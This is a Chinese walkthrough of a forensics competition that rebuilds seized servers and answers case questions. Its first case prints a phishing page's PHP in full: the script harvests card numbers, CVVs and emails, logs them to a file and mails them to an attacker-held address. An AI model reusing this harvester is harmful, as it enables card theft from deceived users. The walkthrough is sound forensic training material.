I. 案件详情
于2022年10月,有市民因接获伪冒快递公司的电邮,不慎地于匪徒架设的假网站提供了个人信用咭资料导致经济损失。 警方追查下发现当中一名受骗市民男子李大輝 (TaiFai) 的信用卡曾经被匪徒在区内的商舖购物。 后来警方根据IP地址,锁定及拘捕了一名男子林浚熙 (阿熙 ChunHei),并于他的居所发现了一批相信曾被用作犯案的电脑及手机装置。
经调查后,警方发现阿熙除上述案件外,他亦牵涉其他的一些犯罪活动。
警方的电子数据取证小组在现场作出初步了调查并对涉案装置进行了电子数据取证。请你根据得到的资料,协助将事件经过还原。
II. 警方资料
A) 与’林浚熙’相关的资料
编号 1 | 林浚熙的调查报告 | 林浚熙调查报告.pdf |
---|---|---|
编号 2 | 林浚熙的手机的电子数据 | ChunHei_iPhone.7z |
编号 3 | 林浚熙计算机的电子数据 | ChunHei_Desktop.E01 |
B) 与受害人’李大辉’相关的资料
编号 4 | 李大辉的调查报告 | 助查人士李大輝调查报告.pdf |
---|---|---|
编号 5 | 受害人李大辉的手机电子数据 | VTM_Mobile.zip |
C) 与女友’王晓琳’相关的资料
编号 6 | 王晓林的调查报告 | 助查人士王晓琳调查报告.pdf |
---|---|---|
编号 7 | 女友王晓林手机的电子数据 | HiuLam_iphone.7z |
A. 4
B. 1
C. 2
D. 3
A. User HEI Roaming Virtual Machinesl
B. Users Public Documents Virtual Machines
C. Program Files Virtual Machines
D.Users\HEINDocuments Virtual Machines
另在检查虚拟机的过程中在Documents目录下发现疑似虚拟机的账号密码
A. CentOs Linux 7.5.1804 (Core)
B. Ubuntu 22.04.1 LTS
C. CentOS Linux release 7.6.1810(Core)
D. Ubuntu 20.04.5 LTS
将整个虚拟机导出,作为一个独立的检材来继续分析,用取证软件先跑一遍,用仿真工具消除密码,仿真启动
A. nobody
B. root
C. admin
D. man
E. ftpuser
常规用户共有三个
root用户搭建的vsftpd服务,曾编辑过ftp用户,仿真进去查看配置文件
配置都是好的,直接连接即可,美亚杯时远程工具连接不上,应该是监考软件不允许ssh连接,解决方案是可以从另一台安装有远程工具的虚拟机向该虚拟机发起连接。
开始分析:
用户共有三个
历史记录中提到几个文件
root@useru20:/etc# cat /etc/ftpusers
# /etc/ftpusers: list of users disallowed FTP access. See ftpusers(5).
#root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
nobody
所以root是可以登录的
查看配置文件
root@useru20:/# cat /etc/vsftpd.conf
# Example config file /etc/vsftpd.conf
#
# The default compiled in settings are fairly paranoid. This sample file
# loosens things up a bit, to make the ftp daemon more usable.
# Please see vsftpd.conf.5 for all compiled in defaults.
#
# READ THIS: This example file is NOT an exhaustive list of vsftpd options.
# Please read the vsftpd.conf.5 manual page to get a full idea of vsftpd's
# capabilities.
...
# You may specify an explicit list of local users to chroot() to their home
# directory. If chroot_local_user is YES, then this list becomes a list of
# users to NOT chroot().
# (Warning! chroot'ing can be very dangerous. If using chroot, make sure that
# the user does not have write access to the top level directory within the
# chroot)
chroot_local_user=YES
chroot_list_enable=YES
# (default follows)
chroot_list_file=/etc/vsftpd.chroot_list
#
...
这里表示vsftpd.chroot_list中的用户又切换至其他目录的作用
root@useru20:/etc# cat /etc/vsftpd.chroot_list
root
ftpuser
这两个用户是不被限制访问范围的
尝试登录user用户,无法登录
尝试登录ftpuser用户,无法登录
一起来学linux:FTP服务器搭建 - 一张红枫叶 - 博客园 (cnblogs.com)
A. NGINX
B. LIGHTTPD
C. WORDPRESS
D. APACHE
E. IIS
A. /var/www/html/post/src
B. /var/www/html/post/css
C. /var/www/html/post/vendor
D. /var/www/post
题目选项就是提示,指引我们查找网站路径,假网站在前期研判中是重点,检查这整个网站并重构。
通过前面历史记录可以看到只要确保apache2和php起了,网站应该就可以起,
查看apache2的状态
访问一下网站
查看配置文件
综合分析,网站运行目录应该为/var/www/html/post,比较基础的一个apache站
访问、访问成功
可以继续做题了
A. Krick Global Logistics
B. Global Logistics
C. Krick Post Global Logistics
D. Krick Post
A. 邮件号码
B. 邮件收费号码
C. 邮件序号
D. 邮件参考号码
尝试输入信息
输入信息后会跳转到process.php,网站结构简单,包含的文件很少,也可以很简单的直接对每个文件逐一进行检查,查看process.php文件
if ( $_SERVER['REQUEST_METHOD']=='GET' && realpath(__FILE__) == realpath( $_SERVER['SCRIPT_FILENAME'] ) ) {
header( 'HTTP/1.0 403 Forbidden', TRUE, 403 );
die( header( 'location: /error.php' ) );
}
?>
<!DOCTYPE html>
<html>
<meta name="viewport" content="width=device=width, initial-scale=1.0, user-scalable=no">
<link rel="shortcut icon" type="image/x-icon">
<head>
<style>
* {
font-family: Palatino, Helvetica, sans-serif;
}
body { background: fixed center top;
margin:auto;
}
.center {
display: flex;
justify-content: center;
align-items: center;
margin: auto;
}
p {
font-size: 16px;
}
.mainDiv {
//height:600px;
//padding: 50px 0px 0px 0px;
margin: auto;
//width: 350px;
//box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19);
}
img {
display: block;
margin-left: auto;
margin-right: auto;
}
/*Responsive layout - when the screen is less than 400px wide,
make the header text-align center
@media screen and (max-wdith: 400px) {
.header {
text-align: center;
padding: 0;
}
}
/* Responsive layout - when the screen is less than 400px wide,
make the navigation links stack on top of each other instead of next to each other */
@media screen and (max-width: 600px) {
.topnav a {
float: none;
width: 100%;
padding-top: 14px;
text-align: left;
}
}
</style>
<title>KP - Global Logistics Customer details</title>
</head>
<body>
<div class="mainDiv" style=" background-color: white;">
<img src="./css/KPlogo.png" alt="logo" width="160" height="160">
<h3 align="center">你的提交已經收到</h2>
<h3 align="center">本公司職員會以電郵聯絡你</h2>
<br><br><br>
<p align="center" style="color:grey;" >All rights reserved 2022</p>
<?php
$holdername = $_POST["holdername"];
$cardno = $_POST["cardno"];
$cvv = $_POST["cvv"];
$exp_mth = $_POST["exp_mth"];
$exp_yr = $_POST["exp_yr"];
$email = $_POST["email"];
$email_domn = $_POST["email_domn"];
//write result to customer.txt
date_default_timezone_set("Asia/Shanghai");
$dateTime = date("Y-m-d H:i:s");
$gDate = date("Y-m-d");
$gTime = date("H:i:s");
$browser = $_SERVER['HTTP_USER_AGENT'];
$fileLink = "here";
$resultFile = "vu.txt";
$fOpen = fopen($resultFile, "a");
fwrite($fOpen, "Date & Time: ".$dateTime."\n");
fwrite($fOpen, "Card Holder: ".$holdername."\n");
fwrite($fOpen, "Card no.: ".$cardno."\n");
fwrite($fOpen, "cvv: ".$cvv."\n");
fwrite($fOpen, "expire date: ".$exp_mth."/".$exp_yr."\n");
fwrite($fOpen, "Email: ".$email."@".$email_domn."\n");
fwrite($fOpen, "Browser Info: ".$browser."\n");
fwrite($fOpen, "\n"); //End of Entry
fclose($fOpen);
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
// the message
$message = "
Date / Time: ".$gDate." ".$gTime."
Card holder: ".$holdername."
Card No.: ".$cardno."
cvv: ".$cvv."
Expire Date: ".$exp_mth."/".$exp_yr."
Email: ".$email."@".$email_domn."
";
use PHPMailer\PHPMailer\SMTP;
require_once __DIR__ . '/vendor/phpmailer/src/Exception.php';
$mail = new PHPMailer(true);
$mail->isSMTP();
$mail->Host = 'smtp.gmai1.com';
$mail->SMTPAuth = true;
$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
$mail->Port = 587;
$mail->Username = '[email protected]';
$mail->Password = 'rtatsceucpacocbdacs';
$mail->setFrom('[email protected]', 'Smith');
$mail->addAddress('[email protected]', 'Tyler');
$mail->IsHTML(true);
$mail->Subject = "vu";
$mail->Body = $message;
$mail->AltBody = ' ';
$mail->send();
?>
</body>
</html>
可以看到惠普段处理时会将前端输入的所有信息写入到vu.txt文件中
A. 改变函数
B. 产生档案
C. 发出邮件
D. 更新数据库
见上题,对process.php的源码进行检查后发现该文件除上体提到的生成文件vu.txt外并无将文件写入到数据库中的操作,
存在将$message通过[email protected]账户发送到[email protected]账户的行为
A. GPS位置
B. 信用卡号码
C. 短讯验证码
D. 电话号码
E. 电邮地址
可以直接看前台需要我们输入的信息
通过之前的学习,对于docker类题目应该可以一把梭
root@useru20:/var/www/html/post/src# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
nginx latest 5d58c024174d 4 weeks ago 142MB
mysql latest 40b83de8fb1a 5 weeks ago 535MB
完整的id为5d58c024174dd06df1c4d41d8d44b485e3080422374971005270588204ca3b82
这里我觉得两个都行
只需启动docker中的mysql即可看到起端口映射情况
root@useru20:/var/www/html/post/src# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
dcb6a7577ab9 nginx "/docker-entrypoint.…" 4 weeks ago Exited (0) 11 seconds ago webserver
ca019376491b mysql:latest "docker-entrypoint.s…" 4 weeks ago Exited (0) 7 seconds ago mysql
root@useru20:/var/www/html/post/src# docker start ca
ca
root@useru20:/var/www/html/post/src# docker start dc
dc
root@useru20:/var/www/html/post/src# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
dcb6a7577ab9 nginx "/docker-entrypoint.…" 4 weeks ago Up 1 second 0.0.0.0:7777->80/tcp, :::7777->80/tcp webserver
ca019376491b mysql:latest "docker-entrypoint.s…" 4 weeks ago Up 4 seconds 33060/tcp, 0.0.0.0:43306->3306/tcp, :::43306->3306/tcp mysql
root@useru20:/var/www/html/post/src#
将本机的43306端口映射至了容器的3306 同时容器自身还开了一个33060 MySQL X Protocol的端口
docker部分熟悉的可以直接启动,不熟悉的也按照我们取证的标准作业步骤,先查看配置的历史记录,查看配置文件,查看启动命令,再进行启动,启动后进入容器,若仍无法登录,skip跳表绕过等方法,跳表后可取出加密后的登录密钥串,可进行爆破获取确切的登陆密码。
在前期检查的过程中,再历史记录中发现docker启动命令
docker run --name mysql -p 13306:3306 -e MYSQL_ROOT_PASSWORD=2wsx3edc -d mysql:latest
启动命令中已包含登陆密码,所以无需麻烦去通过其他途径获取密码了
尝试登录来验证密码是否正确
登录成功。密码正确,验证通过
现在各个应用程序都已经启动完毕了,可以直接尝试使用数据库工具连接数据库
对数据库进行检查,发现krickpost数据库的customer表中存在大量个人数据
根据前期的检查,在Chunhui手机wechat中曾给自己发送过李大辉的资料,结合该资料在数据库中进行搜索,找到李大辉的个人信息
I. 案件详情
2022年10月,警方收到AGC集团举报表示该公司网络的电邮系统有可疑连接及流量。 经过调查后,警方相信事件与本地一个IP地址有关,于是拘捕了一名男子朗尼 (Rooney),并在他家中检取了一些电脑,网络装置,手机作调查。
2022年10月下旬,两名巡警在街上截查一名男子王景浩(阿浩 KingHo)时, 在他的背包中找到一些从网上下载的制作油漆弹教学材料,阿浩曾作出反抗但最后被制服。经调查后,警员发现阿浩计划於某日向某人投掷油漆弹,警员随后将他拘捕并于他家中检取了一批电脑,手机作调查。深入调查后发现阿浩亦与AGC集团网络被入侵事件有关。
警方的电子数据取证小组在现场作出初步了调查并对涉案装置进行了电子数据取证。请你根据警方的资料,协助将事件经过还原。
II. 警方资料
A) 与’朗尼’相关的资料
编号 1 | 朗尼的调查报告 | 陳朗尼调查报告.pdf |
---|---|---|
编号 2 | 朗尼的手机的电子数据 | Rooney_Mobile |
编号 3 | 朗尼计算器的电子数据 | Rooney_desktop.e01-6 |
编号 4 | 朗尼草莓计算器电子数据 | rooney_router.bin |
B) 与’AGC’集团相关的资料
编号 5 | AGC集团的调查报告 | 助查人士AGC集团调查报告.pdf |
---|---|---|
编号 6 | AGC集团员工计算机的电子数据 | AGC_Desktop.e01 |
编号 7 | AGC集团服务器的电子数据 | disk1.e01-disk3.e01 |
编号 8 | AGC集团媒体服务器的电子数据 | MediaServer |
编号 9 | AGC集团的PCAP档案 | AGC_Server_2.pcap |
编号 10 | 警员调查报告 | 警员调查报告.pdf |
C) 与’王景浩’相关的资料
编号 11 | 王景浩的调查报告 | 王景浩调查报告.pdf |
---|---|---|
编号 12 | 王景浩USB记忆棒的电子数据 | King_Ho_USB.E01 |
编号 13 | 王景浩SD咭的电子数据 | KingHo_Memory_Card.dd |
编号 14 | 王景浩计算机的电子数据 | King_HO_MacBook_Computer.E01-12 |
服务器题的做法时先简单看一下题,需要我们做什么,一般来说可以无脑重构起来,要想做到最后,都是需要把里面的服务全部还原。重构的根本目的就是还原至镜像时的状态,以便我们进行分析,但是因为镜像时很多时候后台的应用、数据库还在做IO操作,所以很可能一边写数据一边打镜像时会在数据储存方面就有一些奇怪的错误,加上重构的软硬件环境和原始环境是不一样的,所以调错也是重构的一部分。
在比赛比武时,一定是先重构、再做题或者边重构边做题,单靠取证工具静态分析可能只能拿个基本分,遇到取证工具不解析的偏手工分析的就很难拿分了,所以服务器手总是得掌握重构的技能的。
相对简单,服务器我以手工起为主,取证软件就看个基本信息,遇到一些新的软件就去找手册看一下。
先查看一下检材基本信息
可以看到sda比较大且能解析系统,剩下三个盘无法解析,考虑常见的情形sda是系统盘,剩下几块做了raid,作为数据盘,这是非常常见的,本人电脑就是一块2t固态作为系统盘,用4块4t的机械组了个raid5来储存数据。
如果是软raid的话,那么仿真起来在原始的软件环境下大多数情况下是可以自动识别的,我们只需要简单检查一下其状态,将其挂载起来就行了。所以看到raid没必要一看到就拿raid工具去跑,软raid可以先让系统识别试试,硬raid因为是通过硬件实现的,而我们拿到的是镜像,没了阵列卡的协调,所以可以考虑用raid工具去跑,硬raid常用工具有r-studio,ufs,取证大师等,如果跑不出来,很可能是镜像过程中raid数据损坏,无法识别,可以考虑手工修复,或者手工重组。手工的手艺要会,平时不一定能用到,但是要比武时实在不行要能按教程快速的打出来。
先快速看一下取证工具跑出来的结果。
可以看到常用的工具安装了docker,nginx,apache,mysql等,那么这些工具的一把梭准备好,等碰到了上去梭就行了
可以看到共有6个用户,其中root密码为!,代表root用户可能被锁定了,无法登录,密码为空即可能没有密码
查看历史记录,发现共有四个用户在进行操作,
其中mediauser主要对/media0和mediastorage/两个目录进行操作,还修改过sudo nano rygel.conf,
user主要在sudo su
sammy主要在装软件,可以重点关注一下他装的这些软件,是否已经被取证软件解析,以及修改的配置文件是什么、启动命令是什么,sammy装完软件之后就切换到user用户了,考虑sammy也是前文中提到的已经离职的运维,user就是平时员工使用的账号
root用户主要在进各种文件夹看,主要进的docker相关的文件夹,还曾curl了一个地址,这个重点关注,history很重要,任何一点history中的不太正常的操作都是后面一堆题的基础。
将服务器仿真启动,要将所有镜像都选上一起仿真,选e01即可,后面e02系统会自动顺序读取下去的。
启动之后发现是图形化的,尝试root登录
根据前面的分析,先尝试root用户是否能登录,已无法登录,图形化无法登录不代表ssh无法登录
根据前面的分析,有两个用户是没有密码的,peter和user1,我们可以尝试登录这两个用户。或者重新仿真一下,仿真时勾选重置所有用户密码,这种无脑起,这里不演示了。
尝试登录peter,因为没有密码所以需要新设一个符合要求的密码,即可登录
登陆后查看IP,远程工具连接即可登录root,但是美亚杯时最坑的一个点就是当监考软件开启时,无法使用主机ssh连接虚拟机,解决方案是在虚拟机中安装ssh工具,虚拟机可以连接虚拟机。
查看lsblk和zpool是否启动
基本要素都已还原,整体服务环境都已经起了,接下来就是问什么起什么就可以了。先对整个服务器进行一个简单的检查,发现以下可能相关的信息,
根目录下有两个不常见的media文件夹
home目录下除peter用户是我们刚初始化的之外,其他都是原本存在的
查看以下详细的目录结构,我先tree home简单查看一下下面的文件结构,当然如果数据量比较小可以直接再查看的时候列出隐藏文件一起分析,tree home -a > 2.txt 文件会比较大,但是可以详细的列出用户拥有的详细文件。
root@user-PC:/# tree home
home
├── mediauser
│ ├── 公共的
│ ├── 模板
│ ├── 视频
│ ├── 图片
│ ├── 文档
│ ├── 下载
│ │ ├── 334399200_1663654918039_thumb.jpg
│ │ ├── 334399295_1663654918648_thumb.jpg
│ │ ├── 334399333_1663654918335_thumb.jpg
│ │ ├── 905f1a0cly1h5vf8il67gj20o40diaan.jpg
│ │ ├── 905f1a0cly1h5vf8iv0gmj20q90ew763.jpg
│ │ ├── a964-6842439607dae2987a6b8b4c55255f0b.jpg
│ │ ├── b02bae0fly1h40ka6jn14j20u00z012g.jpg
│ │ ├── b02bae0fly1h40kf7t595j20m809qwgq.jpg
│ │ ├── b02bae0fly1h40kf7vb4aj20m80dwgoh.jpg
│ │ └── bd6d4134gy1h4ity9he0wj20n00ybgn2.jpg
│ ├── 音乐
│ ├── 桌面
│ └── snap
│ ├── firefox
│ │ ├── 1883
│ │ ├── 2088
│ │ ├── common
│ │ └── current -> 1883
│ └── snapd-desktop-integration
│ ├── 14
│ │ ├── Desktop
│ │ ├── Documents
│ │ ├── Downloads
│ │ ├── Music
│ │ ├── Pictures
│ │ ├── Public
│ │ ├── Templates
│ │ └── Videos
│ ├── common
│ └── current -> 14
├── peter
│ ├── 公共的
│ ├── 模板
│ ├── 视频
│ ├── 图片
│ ├── 文档
│ ├── 下载
│ ├── 音乐
│ ├── 桌面
│ ├── link.html
│ └── snap
│ └── snapd-desktop-integration
│ ├── 14
│ │ ├── Desktop
│ │ ├── Documents
│ │ ├── Downloads
│ │ ├── Music
│ │ ├── Pictures
│ │ ├── Public
│ │ ├── Templates
│ │ └── Videos
│ ├── common
│ └── current -> 14
├── sammy
│ ├── latest.zip
│ └── snap
│ └── snapd-desktop-integration
│ ├── 10
│ │ ├── Desktop
│ │ ├── Documents
│ │ ├── Downloads
│ │ ├── Music
│ │ ├── Pictures
│ │ ├── Public
│ │ ├── Templates
│ │ └── Videos
│ ├── 14
│ │ ├── Desktop
│ │ ├── Documents
│ │ ├── Downloads
│ │ ├── Music
│ │ ├── Pictures
│ │ ├── Public
│ │ ├── Templates
│ │ └── Videos
│ ├── common
│ └── current -> 14
├── user
│ ├── 公共的
│ ├── 模板
│ ├── 视频
│ │ ├── bBcUlnZmlx07ZergcN8s01041200PRmM0E010.mp4
│ │ ├── J5R5jqFv.mp4
│ │ └── mda-nebaxe7ms7y2aybz.mp4
│ ├── 图片
│ │ ├── 001TBbECgy1h3fxyo6p37j60sg0izjsv02.odg
│ │ ├── 10001.webp
│ │ ├── 1000.webp
│ │ ├── 山东舰.odg
│ │ ├── BTC.gif
│ │ ├── ecbafd467907b2c891ed06c87a87632a.jpeg
│ │ └── u=3412786551,2945473009&fm=253&fmt=auto&app=138&f=JPEG.webp
│ ├── 文档
│ │ ├── 山东舰.odt
│ │ ├── 网络安全法.odt
│ │ └── Untitled 1.odg
│ ├── 下载
│ │ ├── 001R0E0aly1h4k1mkaqc7j61900u0ahv02.jpg
│ │ ├── 001R0E0aly1h4k1msmiboj61900u043p02.jpg
│ │ ├── 005yxpy7gy1h6e2jsj6raj30u015z49r.jpg
│ │ ├── 00734iTTgy1h3p9pcfgjaj30u00w3dkj(1).jpg
│ │ ├── 00734iTTgy1h3p9pcfgjaj30u00w3dkj.jpg
│ │ ├── 00734iTTgy1h3p9pcriw7j30u00icdhw.jpg
│ │ ├── 0078oaKjgy1h6gj114vh0j30u01sx7h0.jpg
│ │ ├── 008qlHWfgy1gzj4eqac6sj30u00lzn2b.jpg
│ │ ├── 008qlHWfgy1gzj4esok5ij30u00l2gro.jpg
│ │ ├── 008qlHWfgy1gzj4ethmsjj30u00kbdmj.jpg
│ │ ├── 008qlHWfgy1gzj4evmm81j30u00kxted(1).jpg
│ │ ├── 008qlHWfgy1gzj4evmm81j30u00kxted.jpg
│ │ ├── 008qlHWfgy1gzj4ewo6j4j30u00kl44t.jpg
│ │ ├── 008qlHWfgy1gzj4exkdynj30u00k6463.jpg
│ │ ├── 008qlHWfgy1gzj4eyuijpj30u00ktn2y.jpg
│ │ ├── 75b8a0b329ae827dd57c80aa606d3398.jpeg
│ │ ├── 7d1ef8f4gy1g2zojm2pqfg208c069hdt.gif
│ │ ├── bd849810ly1h67b3l4wtyj20u013zqlw.jpg
│ │ ├── be09209fd2d4136c0a9a1f564e7282e2.jpg
│ │ ├── be52f98a69efb74ab6e922d9fb845b19.jpeg
│ │ └── firefox.tmp
│ │ └── tmpaddon
│ ├── 音乐
│ │ ├── 006BTTeOgy1h5vvmrommfj30i50ua4px.jpg
│ │ └── puOSERDPgx07ZcV6FT9K010412035DT10E020.mp4
│ ├── 桌面
│ └── snap
│ ├── firefox
│ │ ├── 1883
│ │ ├── 2088
│ │ ├── common
│ │ └── current -> 1883
│ ├── novnc
│ │ ├── 8
│ │ ├── common
│ │ └── current -> 8
│ ├── snapd-desktop-integration
│ │ ├── 10
│ │ │ ├── Desktop
│ │ │ ├── Documents
│ │ │ ├── Downloads
│ │ │ ├── Music
│ │ │ ├── Pictures
│ │ │ ├── Public
│ │ │ ├── Templates -> /home/user/Templates
│ │ │ └── Videos
│ │ ├── 14
│ │ │ ├── Desktop
│ │ │ ├── Documents
│ │ │ ├── Downloads
│ │ │ ├── Music
│ │ │ ├── Pictures
│ │ │ ├── Public
│ │ │ ├── Templates -> /home/user/Templates
│ │ │ └── Videos
│ │ ├── common
│ │ └── current -> 14
│ └── snap-store
│ ├── 592
│ ├── 599
│ ├── common
│ └── current -> 599
└── user1
117 directories, 50 files
这里可以看到sammy下面有一个文件夹,其中是wordpress
user下面有几个文档,还有BTC.gif可能有比特币相关内容
可以看到根目录下有不太常见的snap目录
像是一个备份快照工具的备份文件夹
在/var/www/html/wordpress目录下发现一个wordpress网站
快速检查了一下
开始先做一波题,再遇到上面大的应用程序再单独起,简单应用一边做一边就能起了。
如图可见,常规用户共有6个,但是peter和user1从来没有登陆过,root正常是无法登录的,只能通过切换用户的方式切换至root,故共有3个用户
这种我个人感觉都有点模棱两可,到底算登录过还是不算就是答案一句话的事情。
ssh就是远程终端,查看登录成功的记录,筛选一下pts终端的,什么是pts/tty?可以简单认为tty就是硬件的鼠标键盘输入,pts是远程终端。
还是有三个用户登陆过
可以看到共有12次
以上三题是纯靠取证软件的解析的,但是题目还给了一个日志备份,日期为2022.07.21,服务器镜像时间日期为2022.10.20,对比一下两份日志,看我们当前解析的日志是否有删除,
root@user-PC:/# last
root pts/1 192.168.2.1 Sat Nov 19 23:20 still logged in
peter tty2 tty2 Sat Nov 19 23:19 still logged in
reboot system boot 5.15.0-48-generi Sat Nov 19 22:50 still running
user tty2 tty2 Mon Oct 3 10:50 - crash (47+11:59)
mediause tty2 tty2 Mon Oct 3 10:16 - 10:50 (00:33)
reboot system boot 5.15.0-48-generi Mon Oct 3 10:16 still running
user tty2 tty2 Fri Sep 30 16:39 - down (00:33)
reboot system boot 5.15.0-48-generi Fri Sep 30 16:39 - 17:13 (00:34)
mediause tty2 tty2 Fri Sep 30 09:05 - down (01:24)
reboot system boot 5.15.0-48-generi Fri Sep 30 09:05 - 10:29 (01:24)
mediause tty2 tty2 Thu Sep 29 10:28 - down (00:02)
reboot system boot 5.15.0-48-generi Thu Sep 29 10:28 - 10:31 (00:03)
mediause tty2 tty2 Wed Sep 28 16:10 - down (01:13)
reboot system boot 5.15.0-48-generi Wed Sep 28 16:10 - 17:24 (01:13)
user tty2 tty2 Tue Sep 27 10:18 - down (00:25)
reboot system boot 5.15.0-48-generi Tue Sep 27 10:18 - 10:43 (00:25)
mediause tty2 tty2 Mon Sep 26 11:44 - down (05:59)
user tty2 tty2 Mon Sep 26 11:24 - 11:44 (00:20)
user tty2 tty2 Mon Sep 26 11:12 - 11:23 (00:10)
reboot system boot 5.15.0-48-generi Mon Sep 26 11:12 - 17:44 (06:32)
user tty2 tty2 Mon Sep 26 11:06 - down (00:06)
reboot system boot 5.15.0-48-generi Mon Sep 26 11:05 - 11:12 (00:07)
user tty2 tty2 Fri Sep 23 17:40 - down (00:00)
reboot system boot 5.15.0-48-generi Fri Sep 23 17:39 - 17:40 (00:00)
user tty2 tty2 Fri Sep 23 15:59 - down (00:43)
mediause tty2 tty2 Fri Sep 23 15:38 - 15:40 (00:01)
user tty2 tty2 Fri Sep 23 15:08 - 15:38 (00:30)
mediause tty2 tty2 Fri Sep 23 14:34 - 15:08 (00:33)
user tty2 tty2 Fri Sep 23 08:11 - 14:34 (06:22)
reboot system boot 5.15.0-48-generi Fri Sep 23 08:11 - 16:42 (08:31)
user tty2 tty2 Thu Sep 22 10:20 - down (01:40)
reboot system boot 5.15.0-48-generi Thu Sep 22 10:20 - 12:00 (01:40)
user tty2 tty2 Wed Sep 21 09:35 - down (07:12)
reboot system boot 5.15.0-47-generi Wed Sep 21 09:35 - 16:47 (07:12)
user tty2 tty2 Wed Sep 21 09:23 - down (00:11)
reboot system boot 5.15.0-47-generi Wed Sep 21 09:22 - 09:34 (00:12)
mediause tty2 tty2 Tue Sep 20 10:27 - down (00:57)
reboot system boot 5.15.0-47-generi Tue Sep 20 10:19 - 11:25 (01:06)
mediause tty2 tty2 Mon Sep 19 17:15 - down (00:12)
reboot system boot 5.15.0-47-generi Mon Sep 19 17:14 - 17:27 (00:12)
mediause tty2 tty2 Mon Sep 19 16:11 - down (00:34)
user tty2 tty2 Mon Sep 19 15:03 - 16:11 (01:07)
reboot system boot 5.15.0-47-generi Mon Sep 19 15:03 - 16:46 (01:42)
user tty2 tty2 Mon Sep 19 15:01 - down (00:01)
reboot system boot 5.15.0-47-generi Mon Sep 19 15:00 - 15:03 (00:02)
user tty2 tty2 Fri Sep 16 11:05 - down (00:03)
reboot system boot 5.15.0-47-generi Fri Sep 16 11:05 - 11:09 (00:03)
user tty2 tty2 Thu Sep 15 15:15 - down (01:01)
reboot system boot 5.15.0-47-generi Thu Sep 15 15:13 - 16:16 (01:03)
mediause tty2 tty2 Thu Sep 15 10:21 - down (01:24)
reboot system boot 5.15.0-47-generi Thu Sep 15 10:20 - 11:45 (01:24)
user tty2 tty2 Thu Sep 15 08:23 - down (01:57)
reboot system boot 5.15.0-46-generi Thu Sep 15 08:22 - 10:20 (01:57)
mediause tty2 tty2 Mon Sep 5 09:37 - down (00:10)
reboot system boot 5.15.0-46-generi Mon Sep 5 09:36 - 09:48 (00:11)
mediause tty2 tty2 Mon Aug 22 15:13 - down (01:35)
user tty2 tty2 Mon Aug 22 14:57 - 14:59 (00:02)
reboot system boot 5.15.0-46-generi Mon Aug 22 14:56 - 16:49 (01:52)
user tty2 tty2 Mon Aug 15 12:10 - down (03:35)
reboot system boot 5.15.0-43-generi Mon Aug 15 12:10 - 15:46 (03:36)
user tty2 tty2 Fri Aug 12 11:45 - down (00:08)
reboot system boot 5.15.0-43-generi Fri Aug 12 11:45 - 11:53 (00:08)
user tty2 tty2 Wed Aug 10 17:43 - down (00:16)
reboot system boot 5.15.0-43-generi Wed Aug 10 17:43 - 17:59 (00:16)
user tty2 tty2 Wed Aug 10 10:48 - down (00:18)
reboot system boot 5.15.0-43-generi Wed Aug 10 10:48 - 11:07 (00:19)
user tty2 tty2 Fri Aug 5 11:13 - down (05:47)
reboot system boot 5.15.0-43-generi Fri Aug 5 10:47 - 17:01 (06:14)
user tty2 tty2 Thu Aug 4 16:22 - down (00:42)
mediause tty2 tty2 Thu Aug 4 11:48 - 11:51 (00:02)
mediause tty2 tty2 Thu Aug 4 11:36 - 11:48 (00:11)
user tty2 tty2 Thu Aug 4 10:45 - 11:36 (00:51)
reboot system boot 5.15.0-43-generi Thu Aug 4 10:44 - 17:05 (06:20)
user tty2 tty2 Wed Aug 3 12:06 - down (04:19)
reboot system boot 5.15.0-43-generi Wed Aug 3 12:06 - 16:26 (04:20)
user tty2 tty2 Mon Aug 1 12:02 - down (04:45)
reboot system boot 5.15.0-43-generi Mon Aug 1 12:01 - 16:47 (04:45)
user tty2 tty2 Mon Aug 1 11:33 - down (00:28)
reboot system boot 5.15.0-41-generi Mon Aug 1 11:33 - 12:01 (00:28)
user tty2 tty2 Tue Jul 26 14:41 - down (02:29)
reboot system boot 5.15.0-41-generi Tue Jul 26 14:40 - 17:10 (02:30)
user tty2 tty2 Tue Jul 26 11:59 - down (02:04)
mediause tty2 tty2 Tue Jul 26 11:55 - 11:58 (00:02)
user tty2 tty2 Tue Jul 26 10:58 - 11:54 (00:56)
reboot system boot 5.15.0-41-generi Tue Jul 26 10:58 - 14:03 (03:05)
user tty2 tty2 Mon Jul 25 11:48 - down (05:52)
mediause tty2 tty2 Mon Jul 25 09:47 - 11:48 (02:01)
reboot system boot 5.15.0-41-generi Mon Jul 25 09:46 - 17:41 (07:54)
user tty2 tty2 Fri Jul 22 14:54 - down (02:14)
mediause tty2 tty2 Fri Jul 22 14:24 - 14:25 (00:00)
sammy pts/1 192.168.182.1 Fri Jul 22 14:22 - 14:23 (00:00)
user tty2 tty2 Fri Jul 22 14:04 - 14:24 (00:19)
reboot system boot 5.15.0-41-generi Fri Jul 22 14:04 - 17:09 (03:05)
mediause tty2 tty2 Fri Jul 22 10:47 - 11:14 (00:26)
user tty2 tty2 Fri Jul 22 09:38 - 10:47 (01:09)
reboot system boot 5.15.0-41-generi Fri Jul 22 09:37 - 11:23 (01:45)
user tty2 tty2 Thu Jul 21 16:36 - down (01:06)
reboot system boot 5.15.0-41-generi Thu Jul 21 16:36 - 17:43 (01:06)
user tty2 tty2 Thu Jul 21 12:16 - down (01:37)
reboot system boot 5.15.0-41-generi Thu Jul 21 12:16 - 13:54 (01:38)
user pts/1 192.168.182.139 Thu Jul 21 10:25 - 10:58 (00:33)
user pts/1 192.168.182.139 Thu Jul 21 10:23 - 10:24 (00:00)
user tty2 tty2 Thu Jul 21 09:22 - down (02:47)
mediause tty2 tty2 Thu Jul 21 09:15 - 09:22 (00:06)
user tty2 tty2 Thu Jul 21 08:32 - 09:15 (00:42)
reboot system boot 5.15.0-41-generi Thu Jul 21 08:32 - 12:10 (03:37)
mediause tty2 tty2 Tue Jul 19 16:19 - down (00:02)
reboot system boot 5.15.0-41-generi Tue Jul 19 16:18 - 16:21 (00:03)
user tty2 tty2 Tue Jul 19 15:05 - down (00:20)
